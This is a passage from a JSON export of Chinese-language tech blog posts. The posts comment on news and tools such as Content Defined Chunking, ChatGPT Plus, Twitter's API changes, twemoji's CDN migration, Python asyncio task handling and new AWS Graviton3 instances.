href=\"https://twbuyer.info/\">twbuyer.info</a> 之類的服務，但就只有大平台才有提供了。",
    "title": "瑞士最大的線上購物平台 Digitec Galaxus 公開維修相關資訊"
  },
  {
    "id": "11044",
    "body": "前幾個禮拜在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=34303497\">CDC File Transfer (github.com/google)</a>」這則，連結是指到 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://github.com/\">GitHub</a> 專案上，裡面實做了 <a href=\"https://www.usenix.org/conference/atc16/technical-sessions/presentation/xia\">FastCDC</a> 演算法，另外說明他們為什麼要解這個問題以及對應的成果：「<a href=\"https://github.com/google/cdc-file-transfer\">google/cdc-file-transfer</a>」。\r\n\r\nGoogle 的人看起來像是是在 CI/CD 階段遇到頻寬上的問題 (從「The builds are 40-45 GB large.」這邊猜)，用 <a href=\"https://en.wikipedia.org/wiki/Secure_copy_protocol\">scp</a> 與 <a href=\"https://en.wikipedia.org/wiki/Rsync\">rsync</a> 看起來都不能解，所以他們自己刻了 FastCDC 演算法來解。\r\n\r\n但我對 Content Defined Chunking (CDC) 不熟，所以先查一下 CDC 是什麼東西，就查到 <a href=\"https://restic.net/\">restic</a> 這篇講得很清楚：「<a href=\"https://restic.net/blog/2015-09-12/restic-foundation1-cdc/\">Foundation - Introducing Content Defined Chunking (CDC)</a>」。\r\n\r\n要計算 delta 很直覺的作法就是要切 chunk，而接著的直覺就是固定大小的 chunk 切開，像是這樣每 16 bytes 切一個 chunk：\r\n\r\n<pre>0123456789abcdef 0123456789abcdef 0123456789abcdef 0123456789abcdef</pre>\r\n\r\n如果其中一個地方有變化，但其他沒變化的話就可以透過 cryptographic hash function (像是 <a href=\"https://en.wikipedia.org/wiki/SHA-256\">SHA-256</a>) 確認 chunk 內容一樣，進而省下很多傳輸的頻寬：\r\n\r\n<pre>0123456789abcdef 0123456789ABCDEF 0123456789abcdef 0123456789abcdef</pre>\r\n\r\n但可以馬上看出來這個方法的大缺點是只能處理 replacement，很難處理 insert &amp; delete 的部份，舉例來說，如果變更是在開頭的地方加上 ABC，就會造成 chunk 會完全不一樣，而導致全部都要再傳一次：\r\n\r\n<pre>ABC0123456789abc def0123456789abc def0123456789abc def0123456789abc def</pre>\r\n\r\n這邊其實是個經典的演算法問題：想要找出兩個 string 的差異 (把舊的內容當作一個 string，新的內容也當作一個 string)。\r\n\r\n這個問題算是 <a href=\"https://en.wikipedia.org/wiki/Edit_distance\">Edit distance</a> 類型的題目，但你會發現解 Edit distance 的演算法會需要先傳輸完整個 string 才能開始跑演算法，這就本末倒置了。\r\n\r\n而另外一個想法是，放棄固定的 chunk 大小，改用其他方式決定 chunk 的邊界要切在哪裡。而 CDC 就是利用一段 sliding window + hash 來找出切割的點。\r\n\r\n文章裡面提到的 sliding window 是 64 bytes，這邊就可以算出對應的 <code>HASH(b0, b1, ..., b63)</code>，然後往右滑動變成 <code>HASH(b1, b2, ..., b64)</code>，再來是 <code>HASH(b2, b3, ..., b65)</code>，一直往右滑動計算。\r\n\r\n接下來 restic 會看 hash 值，如果最低的 21 bits 都是 0 就切開，所以 chunk 大小的期望值應該是 2MB？(這邊不確定，好像不能直接用 2^21 算，應該用積分之類的方法...)\r\n\r\n<blockquote>For each fingerprint, restic then tests if the lowest 21 bits are zero. If this is the case, restic found a new chunk boundary.</blockquote>\r\n\r\n而這個演算法可以適應新增與刪除的操作，不會造成從新增或刪除後的資料都要重傳，只有自己這個 chunk 需要重傳 (可能前或後的 chunk 也會要)。\r\n\r\n然後挑一下 hash function 的特性，就可以讓計算的速度也很快。這邊提到了 hash function 可以用 <a href=\"https://en.wikipedia.org/wiki/Rolling_hash\">Rolling hash</a>，可以很快的從 <code>HASH(b0, b1, ..., b63)</code> 算出 <code>HASH(b1, b2, ..., b64)</code>，而不需要全部重算。\r\n\r\n有了 chunk 後，再用 cryptographic hash function 比較 chunk 的內容是否一樣，這樣就可以大幅降低傳輸所需要的頻寬了。",
    "title": "Content Defined Chunking (CDC)"
  },
  {
    "id": "11047",
    "body": "看到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上提到 <a href=\"https://www.yahoo.com/\">Y!</a> 要重新搞 search engine 的消息：「<a href=\"https://searchengineland.com/yahoo-is-making-a-return-to-search-392341\">Yahoo is making a return to search</a>」，HN 上的討論在「<a href=\"https://news.ycombinator.com/item?id=34588865\">Yahoo is making a return to search (searchengineland.com)</a>」這邊。\r\n\r\n跡象包括了招募資訊與 <a href=\"https://twitter.com/\">Twitter</a> 帳號 <a href=\"https://twitter.com/YahooSearch\">@YahooSearch</a> 的重啟，還有 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 上一些 Y! 的高層公開提到這次的招募。\r\n\r\n現在的 <a href=\"https://en.wikipedia.org/wiki/Yahoo!_Search\">Yahoo! Search</a> 應該是 <a href=\"https://www.bing.com/\">Bing</a> 的資料 (很久沒有聽到新的消息了)，至少從維基百科上面看到的說明提到 2019/10 後就又跳回 Bing 了：\r\n\r\n<blockquote>As of October 2019, Yahoo! Search is once again powered by Bing.</blockquote>\r\n\r\n這樣可以讓市場再多一點變化？",
    "title": "Yahoo! 要重新搞搜尋引擎？"
  },
  {
    "id": "11048",
    "body": "以前好像沒遇過，換了 <a href=\"https://en.wikipedia.org/wiki/Apple_M1\">M1</a> 以後才注意到 desktop 位置位自己被改變，覺得很阿雜... 找了資料才發現是個 \"feature\"：「<a href=\"https://apple.stackexchange.com/questions/214348/how-to-prevent-mac-from-changing-the-order-of-desktops-spaces\">How to prevent Mac from changing the order of Desktops/Spaces</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6WBdTzQ.webp\" /><img src=\"https://i.gslin.com/imgur/6WBdTzQ.png\" alt=\"\" /></picture>\r\n\r\n關掉就好了，網路上的資料最早出現在 2018 年左右，大概是那個時候被加進去的？",
    "title": "Mac 會自己改變 Desktop 位置的問題"
  },
  {
    "id": "11049",
    "body": "<a href=\"https://openai.com/\">OpenAI</a> 提出了 <a href=\"https://en.wikipedia.org/wiki/ChatGPT\">ChatGPT</a> 的付費方案：「<a href=\"https://openai.com/blog/chatgpt-plus/\">Introducing ChatGPT Plus</a>」。\r\n\r\n目前只開美國：\r\n\r\n<blockquote>ChatGPT Plus is available to customers in the United States, and we will begin the process of inviting people from our waitlist over the coming weeks. We plan to expand access and support to additional countries and regions soon.</blockquote>\r\n\r\n公告的價錢是 US$20/mo，基本上就是保證使用權。這跟之前有傳言 US$42/mo 叫 Professional 的方案低了不少：「<a href=\"https://www.theverge.com/2023/1/23/23567317/chatgpt-pro-tier-42-month-pricing-test-report\">ChatGPT users report $42 a month pricing for ‘pro’ access but no official announcement yet</a>」：\r\n\r\n<blockquote>The new subscription plan, ChatGPT Plus, will be available for $20/month, and subscribers will receive a number of benefits:\r\n<ul>\r\n\t<li>General access to ChatGPT, even during peak times</li>\r\n\t<li>Faster response times</li>\r\n\t<li>Priority access to new features and improvements</li>\r\n</ul>\r\n</blockquote>\r\n\r\n應該是會訂起來用，光是現在 free tier 就已經找到一些常用的模式，可以省下不少時間...",
    "title": "OpenAI 推出 ChatGPT Plus"
  },
  {
    "id": "11051",
    "body": "昨天下午的時候看到這則官方在 <a href=\"https://twitter.com/\">Twitter</a> 上提到的消息，要廢掉 free tier 的 API access：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Starting February 9, we will no longer support free access to the Twitter API, both v2 and v1.1. A paid basic tier will be available instead ?</p>&mdash; Twitter Dev (@TwitterDev) <a href=\"https://twitter.com/TwitterDev/status/1621026986784337922?ref_src=twsrc%5Etfw\">February 2, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n但這邊提到的 paid basic tier 的價錢還沒看到公告。以「<a href=\"https://twittercommunity.com/t/api-pricing-its-very-dark-out-here/160855/10\">API Pricing - It’s very dark out here</a>」這邊看到的價格，目前的 premium plan 超級貴：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fCOjOWi.png\" /><img src=\"https://i.gslin.com/imgur/fCOjOWi.png\" alt=\"\" /></picture>\r\n\r\n這下看起來是真的得搬了，目前有好幾隻程式在上面跑 :o",
    "title": "Twitter 宣佈要廢掉免費的 API 權限"
  },
  {
    "id": "11052",
    "body": "<a href=\"https://openai.com/\">OpenAI</a> 放出了新的 model，可以用來判斷是否為 AI 產生的文字：「<a href=\"https://openai.com/blog/new-ai-classifier-for-indicating-ai-written-text/\">New AI classifier for indicating AI-written text</a>」。\r\n\r\n但目前的成效其實還是不太行，只以英文的成效來看，true positive 只有 26%，而 false positive 是 9%：\r\n\r\n<blockquote>In our evaluations on a “challenge set” of English texts, our classifier correctly identifies 26% of AI-written text (true positives) as “likely AI-written,” while incorrectly labeling human-written text as AI-written 9% of the time (false positives).</blockquote>\r\n\r\n另外也有提到弱點，像是比較短的內容機很難辨認：\r\n\r\n<blockquote>The classifier is very unreliable on short texts (below 1,000 characters). Even longer texts are sometimes incorrectly labeled by the classifier.</blockquote>\r\n\r\n然後就是有正確答案的內容也很難辨認，因為正確答案幾乎都是一樣的：\r\n\r\n<blockquote>Text that is very predictable cannot be reliably identified. For example, it is impossible to predict whether a list of the first 1,000 prime numbers was written by AI or humans, because the correct answer is always the same.</blockquote>\r\n\r\n另外題到了技術上的限制，現在的方法比較像是「辨認是不是從某些 corpus 訓練出來的 model，所產生的文字」，而非通用性的 AI 文字偵測：\r\n\r\n<blockquote>Classifiers based on neural networks are known to be poorly calibrated outside of their training data. For inputs that are very different from text in our training set, the classifier is sometimes extremely confident in a wrong prediction.</blockquote>\r\n\r\n看起來是還不到可以用的程度...",
    "title": "用 AI 模型判斷是否為 AI 產生的文字"
  },
  {
    "id": "11053",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=34567704\">Ask HN: What's with the DIY state of the art long-range Wi-Fi?</a>」這篇開頭，嘗試找出低成本且 scalable 的方式重建戰爭時期烏克蘭的網路。\r\n\r\n發文的人想要透過一般民用的 WiFi 設備達到長距離 (這邊指的是遠超過 WiFi 設計時的距離，5～20km)，但不用很快的網路 (大概 0.1～1Mbps)：\r\n\r\n<blockquote>The idea is to make a single device that can act as both a relay station, as well as an actual hotspot, it then can be placed in line-of-sight configuration to potentially cover huge areas (the accepted performance would be anywhere from 0.1-1 Mbit/s point-to-point over anywhere from 5-20km.</blockquote>\r\n\r\n然後成本要夠低，希望壓在每組 US$100 的範圍：\r\n\r\n<blockquote>We are aiming to bring the cost of such configuration down to $100 per unit at least.</blockquote>\r\n\r\n後面的討論裡面有提到幾個社群有在建立分散式網路，一個比較知名的是德國的 <a href=\"https://freifunk.net/en/\">Freifunk</a>，從「<a href=\"https://freifunk.net/en/how-to-join/find-your-nearest-community/\">Find your nearest community</a>」這邊用節點數量排序可以看到最大的社群超過 4000 個節點，另外有兩個主流的技術處理 routing 的問題，一個是 <a href=\"https://www.open-mesh.org/projects/batman-adv/wiki\">batman-adv</a>，另外一個是 <a href=\"https://en.wikipedia.org/wiki/IEEE_802.11s\">802.11s</a>。\r\n\r\n另外找資料的時候有發現維基百科也有頁面在介紹這個技術：「<a href=\"https://en.wikipedia.org/wiki/Long-range_Wi-Fi\">Long-range Wi-Fi</a>」，另外這個主題也是國外一些科技 YouTuber 喜歡拍的，像是 <a href=\"https://en.wikipedia.org/wiki/Linus_Tech_Tips\">Linus Tech Tips</a> 之前用 <a href=\"https://ui.com/\">UI</a> 的設備在視線可直視的 12km 距離下跑過 100+Mbps 的速度：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/lYJFwXw1ZIc\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n\r\n這樣似乎是可以預期一般的硬體刷機加上指向性天線，是有機會達到前面提到的要求...",
    "title": "長距離的 WiFi 科技 (背景：烏克蘭網路)"
  },
  {
    "id": "11054",
    "body": "在 <a href=\"https://simonwillison.net/\">Simon Willison</a> 的 blog 上看到的東西：「<a href=\"https://simonwillison.net/2023/Feb/1/pythons-disappointing-superpowers/\">Python’s “Disappointing” Superpowers</a>」，裡面提到的原文是「<a href=\"https://lukeplant.me.uk/blog/posts/pythons-disappointing-superpowers/\">Python’s “Disappointing” Superpowers</a>」這篇，在講 <a href=\"https://www.python.org/\">Python</a> 的工具。\r\n\r\n雖然是說「disappointing」，但實際上是反義，在原文裡面提到了很多特別的工具，其中 <a href=\"https://ponyorm.org/\">Pony ORM</a> 算是我覺得最有趣的了，他的寫法就非常的 Python：\r\n\r\n<pre>select(c for c in Customer if sum(c.orders.price) &gt; 1000)</pre>\r\n\r\n也可以用 lambda 的形式來寫：\r\n\r\n<pre>Customer.select(lambda c: sum(c.orders.total_price) &gt; 1000)</pre>\r\n\r\n這樣會產生出對應的 SQL：\r\n\r\n<pre>SELECT \"c\".\"id\"\r\nFROM \"customer\" \"c\"\r\n  LEFT JOIN \"order\" \"order-1\"\r\n    ON \"c\".\"id\" = \"order-1\".\"customer\"\r\nGROUP BY \"c\".\"id\"\r\nHAVING coalesce(SUM(\"order-1\".\"total_price\"), 0) &gt; 1000</pre>\r\n\r\n不會產生 syntax error 的原因是因為他直接解讀 bytecode 分析，產生出對應的 SQL query：\r\n\r\n<blockquote>A normal understanding of generator expressions suggests that the select function is consuming a generator. But that couldn’t explain the behaviour here. Instead, it actually introspects the frame object of the calling code, then decompiles the byte code of the generator expression object it finds, and builds a Query based on the AST objects.</blockquote>\r\n\r\n用這樣的設計來達到語法的自由度。\r\n\r\n看了一下也有一些 integration，像是 <a href=\"https://flask.palletsprojects.com/\">Flask</a> 的「<a href=\"https://docs.ponyorm.org/integration_with_flask.html\">Integration with flask</a>」與 <a href=\"https://fastapi.tiangolo.com/\">FastAPI</a> 的「<a href=\"https://docs.ponyorm.org/integration_with_fastapi.html\">Integration with FastAPI</a>」。\r\n\r\n不過應該是先看看，目前 Python 上用的主力還是 <a href=\"https://www.djangoproject.com/\">Django</a>，有自己的 ORM 架構...",
    "title": "Pony ORM"
  },
  {
    "id": "11055",
    "body": "在「<a href=\"https://www.phpbb.com/community/viewtopic.php?f=14&amp;t=2635986\">phpBB 3.3.10 Release</a>」這邊看到這個修正，研究了一下發現原來有些故事在後面跑：\r\n\r\n<blockquote>Update the emoji CDN: <a href=\"https://tracker.phpbb.com/browse/PHPBB3-17071\">PHPBB3-17071</a></blockquote>\r\n\r\n<a href=\"https://github.com/twitter/twemoji\">Twitter Emoji (Twemoji)</a> 這個計畫是 <a href=\"https://twitter.com/\">Twitter</a> 弄出來的 open source project，最主要是讓不支援新版 <a href=\"https://en.wikipedia.org/wiki/Unicode\">Unicode</a> 的系統上可以改用圖片顯示出來 (畢竟 Unicode 一直在加字)。\r\n\r\n其中提供的 url 是 <a href=\"https://twemoji.maxcdn.com/v/latest/twemoji.min.js\">https://twemoji.maxcdn.com/v/latest/twemoji.min.js</a>，可以看到裡面帶有 <a href=\"https://en.wikipedia.org/wiki/MaxCDN\">MaxCDN</a> 的資訊，算是一種廣告，但後來 <a href=\"https://www.stackpath.com/\">StackPath</a> 在 2016 併購 MaxCDN，接下來是在去年打算要淘汰掉 MaxCDN 這個產品線：「<a href=\"https://www.stackpath.com/blog/maxcdn-and-securecdn-are-retiring-heres-what-it-means-for-you\">MaxCDN and SecureCDN are Retiring; Here’s What It Means for You</a>」。\r\n\r\n這件事情被帶到「<a href=\"https://github.com/twitter/twemoji/issues/556\">Clarify MaxCDN URLs now that MaxCDN is retiring #556</a>」這邊討論，但看起來沒有太多動作，後來在「<a href=\"https://github.com/twitter/twemoji/issues/580\">Maxcdn has shut down, cdn not working anymore. #580</a>」這邊又被帶起來討論，其中 Twitter 前員工大概提了一下情況，主要是當年他們跟 MaxCDN 有談過讓 MaxCDN 負責頻寬的部份：\r\n\r\n<blockquote>@simplexx among all the things, twemoji has always been a Twitter service for the community.\r\n\r\nAt my times in there, we had a great agreement / deal with MaxCDN so that it's hard to blame the boss this time, as MaxCDN is a completely different company/story.\r\n\r\nWhat I see is some poor attention to this project, as companies don't close from a day to another (usually?) but as we all know what's going on @ twitter, I can't really blame any of my former colleagues, or new arrivals there.\r\n\r\nPlease let's not make it a wall of shame for all the people that worked on this, thanks for your understanding (I've left 7 years ago or more, as example, I've got pinged by some follower and I'm just trying to help you out anyway).</blockquote>\r\n\r\n另外也有人提到目前 Twitter 的溝通管道的狀況：\r\n\r\n<blockquote>For what it's worth, while I was still there we were in talks with MaxCDN to have the same deal when they migrated to be Stackpath. Everyone who had worked on the deal with MaxCDN had left and left no record of that deal, so it was taking them a bit longer to work out than expected – MaxCDN used to offer free hosting to OSS projects, but Stackpath wouldn't be doing that. They were working on an exception for us, but any emails they send to our Twitter emails now get bounced, so I guess they could've gotten this sorted out before shutting down MaxCDN... but it's not like we're there on the other end to make it happen, so it appears we'll never know.</blockquote>\r\n\r\nAnyway，現在是至少讓 <a href=\"https://twemoji.maxcdn.com/\">twemoji.maxcdn.com</a> 恢復到「會動」了，但情況變得很特殊，<code>twemoji.maxcdn.com</code> 這個網址目前是指到競業的 <a href=\"https://bunny.net/\">BunnyCDN</a> 上：\r\n\r\n<pre>;; ANSWER SECTION:\r\ntwemoji.maxcdn.com.     229     IN      CNAME   twemoji.b-cdn.net.\r\ntwemoji.b-cdn.net.      35      IN      A       23.248.177.58</pre>\r\n\r\n但如果你真的打過去要檔案，會是 301 到 <a href=\"https://www.jsdelivr.com/\">jsDelivr</a> 上：\r\n\r\n<pre>$ http https://twemoji.maxcdn.com/2/svg/1f525.svg\r\n[...]\r\nLocation: https://cdn.jsdelivr.net/npm/twemoji@11.3.0/2/svg/1f525.svg\r\n[...]</pre>\r\n\r\n而 jsDelivr 目前是放在 <a href=\"https://www.fastly.com/\">Fastly</a> 上：\r\n\r\n<pre>;; ANSWER SECTION:\r\ncdn.jsdelivr.net.       180     IN      CNAME   jsdelivr.map.fastly.net.\r\njsdelivr.map.fastly.net. 30     IN      A       199.232.45.229</pre>\r\n\r\n但在 GitHub 的說明上面則是建議用 <a href=\"https://unpkg.com/\">UNPKG</a>：\r\n\r\n&lt;script src=\"https://unpkg.com/twemoji@latest/dist/twemoji.min.js\" crossorigin=\"anonymous\"&gt;&lt;/script&gt;\r\n\r\n而 UNPKG 目前的 CDN 的部份則是 <a href=\"https://www.cloudflare.com/\">Cloudflare</a>：\r\n\r\n<pre>;; ANSWER SECTION:\r\nunpkg.com.              86400   IN      NS      anirban.ns.cloudflare.com.\r\nunpkg.com.              86400   IN      NS      aron.ns.cloudflare.com.</pre>\r\n\r\n<pre>;; ANSWER SECTION:\r\nunpkg.com.              300     IN      A       104.16.126.175\r\nunpkg.com.              300     IN      A       104.16.123.175\r\nunpkg.com.              300     IN      A       104.16.122.175\r\nunpkg.com.              300     IN      A       104.16.124.175\r\nunpkg.com.              300     IN      A       104.16.125.175</pre>\r\n\r\n指到 BunnyCDN 但是 BunnyCDN 只負責 redirect，然後也不是導到 UNPKG 上...",
    "title": "關於 twemoji.maxcdn.com 這個網址的一些事情"
  },
  {
    "id": "11056",
    "body": "<a href=\"https://archive.org/details/tiny-11_202302\">Tiny11</a> 是 <a href=\"https://mastodon.social/@ntdev\">NTDEV</a> 弄出來的精簡版 Windows 11：「<a href=\"https://www.tomshardware.com/news/tiny11-lean-windows-11\">De-Bloated Windows 11 Build Runs on 2GB of RAM</a>」。<a href=\"https://news.ycombinator.com/\">HN</a> 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=34654649\">De-Bloated Windows 11 Build Runs on 2GB of RAM (tomshardware.com)</a>」。\r\n\r\n<blockquote>It just uses around 8GB of space compared to the 20+GB that a standard installation does.</blockquote>\r\n\r\n但有些限制，像是安全性更新需要自己來：\r\n\r\n<blockquote>This OS install “is not serviceable,” notes NTDev. “.NET, drivers and security definition updates can still be installed from Windows Update,” so this isn’t an install which you can set and forget.</blockquote>\r\n\r\n另外像是透過 <a href=\"https://en.wikipedia.org/wiki/Side-by-side_assembly\">WinSxS</a> 安裝的功能 (包括語言) 會無法安裝：\r\n\r\n<blockquote>Moreover, removing the Windows Component Store (WinSxS), which is responsible for a fair degree of Tiny11’s compactness, means that installing new features or languages isn’t possible.</blockquote>\r\n\r\n但我記得拔掉 WinSxS 應該會影響蠻多東西的？這樣的系統應該是拿來跑跑 <a href=\"https://en.wikipedia.org/wiki/Continuous_integration\">CI</a> 或是固定用途還行，一般性的用途不知道會卡多少東西...\r\n\r\n另外除了使用的磁碟空間變小以外，記憶體的使用量也大幅下降，畢竟也拔掉了一堆肥大的軟體：\r\n\r\n<blockquote>In testing, NTDev said that Tiny11 could “run great” on a system with just 2GB of RAM.</blockquote>",
    "title": "Windows 11 瘦身版本的 Tiny11"
  },
  {
    "id": "11058",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2023/02/03/11051/twitter-%e5%ae%a3%e4%bd%88%e8%a6%81%e5%bb%a2%e6%8e%89%e5%85%8d%e8%b2%bb%e7%9a%84-api-%e6%ac%8a%e9%99%90/\">Twitter 宣佈要廢掉免費的 API 權限</a>」這邊有提到在 2/9 要廢掉 API free tier 的事情延期了，延到 2/13：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">We have been busy with some updates to the Twitter API so you can continue to build and innovate with us. <br><br>We’re excited to announce an extension of the current free Twitter API access through February 13. Here’s what we’re shipping then ?</p>&mdash; Twitter Dev (@TwitterDev) <a href=\"https://twitter.com/TwitterDev/status/1623467615539859456?ref_src=twsrc%5Etfw\">February 8, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n據說跟老闆很在意 <a href=\"https://en.wikipedia.org/wiki/Super_Bowl\">Super Bowl</a>，然後丟了內部信件出來有關：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">SCOOP: Elon has emailed staff following the Twitter outage.<br><br>“Please pause for now on new feature development in favor of maximizing system stability and robustness, especially with the Super Bowl coming up.”</p>&mdash; Kylie Robison (@kyliebytes) <a href=\"https://twitter.com/kyliebytes/status/1623458872106311680?ref_src=twsrc%5Etfw\">February 8, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n本來想說今天會爛掉，剛好可以來弄弄，看起來可以拖延到週末了...",
    "title": "Twitter 砍免費 API 的時程延到 2/13"
  },
  {
    "id": "11059",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=34646389\">Universal Summarizer (kagi.com)</a>」這邊看到的新服務，可以給出某個網址的 summary。服務的本體則是在「<a href=\"https://labs.kagi.com/ai/sum\">Kagi - Universal Summarizer</a>」這邊，從網址可以猜測是 <a href=\"https://kagi.com/\">Kagi</a> 的實驗項目。\r\n\r\n像是 <a href=\"https://www.cnn.com/\">CNN</a> 的「<a href=\"https://edition.cnn.com/2023/02/08/politics/china-biden-state-of-the-union/index.html\">Biden’s dramatic warning to China</a>」這篇，他抓出對應的 summary 看起來沒什麼問題：\r\n\r\n<blockquote>President Joe Biden delivered a dramatic warning to China in his State of the Union address, vowing to protect America's sovereignty if China threatens it. He specifically named President Xi Jinping, saying \"Name me a world leader who'd change places with Xi Jinping. Name me one!\" This marked a stark escalation in the US-Chinese relationship, which has been strained by a balloon surveillance program and other issues. Biden also addressed Russia, calling their invasion of Ukraine a test for America and the world. His speech highlighted the unified opposition to China in US politics, with House Speaker Kevin McCarthy having convened a bipartisan House committee to examine the perceived threat from the Chinese Communist Party. Biden's comments also served as an important milestone in the increasingly tumultuous competition between the US and China, as the US shifts to talking about establishing guardrails for the relationship and protecting the Western-led rules-based international system.</blockquote>\r\n\r\n這個功能可以用 <a href=\"https://en.wikipedia.org/wiki/GPT-3\">GPT-3</a>.5 或是 <a href=\"https://en.wikipedia.org/wiki/ChatGPT\">ChatGPT</a> 串，但不確定 Kagi 是串上去還自己搞？我猜有蠻大的機會是串的...\r\n\r\n然後他的網址設計因為是 url 傳遞的方式，可以包裝成 <a href=\"https://en.wikipedia.org/wiki/Bookmarklet\">bookmarklet</a> 形式放在快速列上面用：「<a href=\"javascript:{void(window.open('https://labs.kagi.com/ai/sum?url='+encodeURIComponent(location.href)));}\">Kagi Universal Summarizer</a>」。\r\n\r\n另外在 HN 的討論裡面看到很厲害的用法，把 <a href=\"https://bellard.org/quickjs/pi_bigdecimal.js\">https://bellard.org/quickjs/pi_bigdecimal.js</a> 這段 javascript code 的 url 丟進去，然後居然出現了程式碼的說明，居然還正確判斷出是 <a href=\"https://en.wikipedia.org/wiki/Chudnovsky_algorithm\">Chudnovsky algorithm</a>：\r\n\r\n<blockquote>This code uses the QuickJS bigdecimal type to calculate the value of pi to a given precision. It does this by using the Chudnovsky algorithm, which is a series of calculations that can be used to approximate pi. The code is written in Javascript and uses BigInt and BigDecimal to perform the calculations. It is interesting to note that the code also takes into account the possibility of bad rounding for the last digits, and adds extra digits to reduce the probability of this happening.</blockquote>\r\n\r\n既然包了一個 bookmarklet，最近應該會常常拿出來用...",
    "title": "Kagi 開發的 Universal Summarizer"
  },
  {
    "id": "11060",
    "body": "今天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://textual.textualize.io/blog/2023/02/11/the-heisenbug-lurking-in-your-async-code/\">The Heisenbug lurking in your async code</a>」這篇，<a href=\"https://news.ycombinator.com/\">HN</a> 的討論則是在「<a href=\"https://news.ycombinator.com/item?id=34754276\">A Heisenbug lurking in async Python (textualize.io)</a>」這。\r\n\r\n設計上面 <code>asyncio.create_task()</code> 傳回的物件只有被 weak reference 到，而不是一般的 reference，所以會導致 <a href=\"https://www.python.org/\">Python</a> 在 GC 時就真的被收走了：\r\n\r\n<blockquote><strong>Important:</strong> Save a reference to the result of this function, to avoid a task disappearing mid-execution. The event loop only keeps weak references to tasks. A task that isn’t referenced elsewhere may get garbage collected at any time, even before it’s done. For reliable “fire-and-forget” background tasks, gather them in a collection:</blockquote>\r\n\r\n在前一段有提到可以用 <code>asyncio.TaskGroup.create_task()</code> 來做，這也是官方建議的解法，不過這個是 3.11 才新增的功能：\r\n\r\n<blockquote><strong>Note:</strong> asyncio.TaskGroup.create_task() is a newer alternative that allows for convenient waiting for a group of related tasks.</blockquote>\r\n\r\n是個容易忘記然後中雷的東西，畢竟有個功能性接近的 threading，是可以抱持著 fire-and-forget 的心態在用，但這邊不是 threading XD",
    "title": "Python 的 asyncio.create_task() 的設計地雷"
  },
  {
    "id": "11062",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 改名叫做 Akamai Connected Cloud：「<a href=\"https://www.linode.com/blog/linode/a-bold-new-approach-to-the-cloud/\">A Bold New Approach to the Cloud</a>」、「<a href=\"https://www.akamai.com/newsroom/press-release/akamai-unveils-akamai-connected-cloud-and-new-cloud-computing-services\">Akamai Unveils Akamai Connected Cloud and New Cloud Computing Services</a>」。\r\n\r\n所以 <a href=\"https://www.akamai.com/\">Akamai</a> 走的路線是整合品牌，這樣其實有很大的機會是會讓 Linode 本來的速度被大組織架構拖慢。\r\n\r\n啊，反正現在已經沒在用 Linode 了，只能跟 <a href=\"https://news.ycombinator.com/\">HN</a> 裡「<a href=\"https://news.ycombinator.com/item?id=34799273\">Linode rebranded as Akamai’s cloud computing services (linode.com)</a>」討論一樣，RIP Linode...",
    "title": "Linode 改名叫 Akamai Connected Cloud"
  },
  {
    "id": "11063",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出了 <a href=\"https://aws.amazon.com/ec2/graviton/\">Graviton</a>3 的機種：「<a href=\"https://aws.amazon.com/blogs/aws/new-graviton3-based-general-purpose-m7g-and-memory-optimized-r7g-amazon-ec2-instances/\">New Graviton3-Based General Purpose (m7g) and Memory-Optimized (r7g) Amazon EC2 Instances</a>」。\r\n\r\n<del>第一波只有一般的 <code>m7g</code> 與記憶體型的 <code>r7g</code>，而計算型的 <code>c7g</code> 大家在 <a href=\"https://twitter.com/\">Twitter</a> 上猜應該晚點會放出消息。</del>在去年五月就推出了：「<a href=\"https://blog.gslin.org/archives/2022/05/24/10711/aws-%E6%8E%A8%E5%87%BA-c7g-%E6%A9%9F%E7%A8%AE/\">AWS 推出 c7g 機種</a>」。\r\n\r\n目前只在歐美的 <code>us-east-1</code>、<code>us-east-2</code>、<code>us-west-2</code> 與 <code>eu-west-1</code> 區提供，亞洲目前都還沒有這些機種可以用：\r\n\r\n<blockquote>M7g and R7g instances are available today in the US East (N. Virginia), US East (Ohio), US West (Oregon), and Europe (Ireland) AWS Regions in On-Demand, Spot, Reserved Instance, and Savings Plan form.</blockquote>\r\n\r\n官方宣稱比 Graviton2 的 <code>m6g</code> &amp; <code>r6g</code> 多了 25% 的效能，不過我另外查了一下 <code>us-east-1</code> 上的價錢，也貴了 6% 左右，如果依照官方宣稱的數字計算，大約是 18% 左右的 CP 值提昇，對於有實際上跑滿的 CPU 的人是個不錯的效能提昇：\r\n\r\n<blockquote>Today I am happy to tell you about the newest Amazon EC2 instance types, the M7g and the R7g. Both types are powered by the latest generation AWS Graviton3 processors, and are designed to deliver up to 25% better performance than the equivalent sixth-generation (M6g and R6g) instances, making them the best performers in EC2.</blockquote>\r\n\r\n裡面有提到在 Graviton3 的一個架構上的大改變是記憶體從 <a 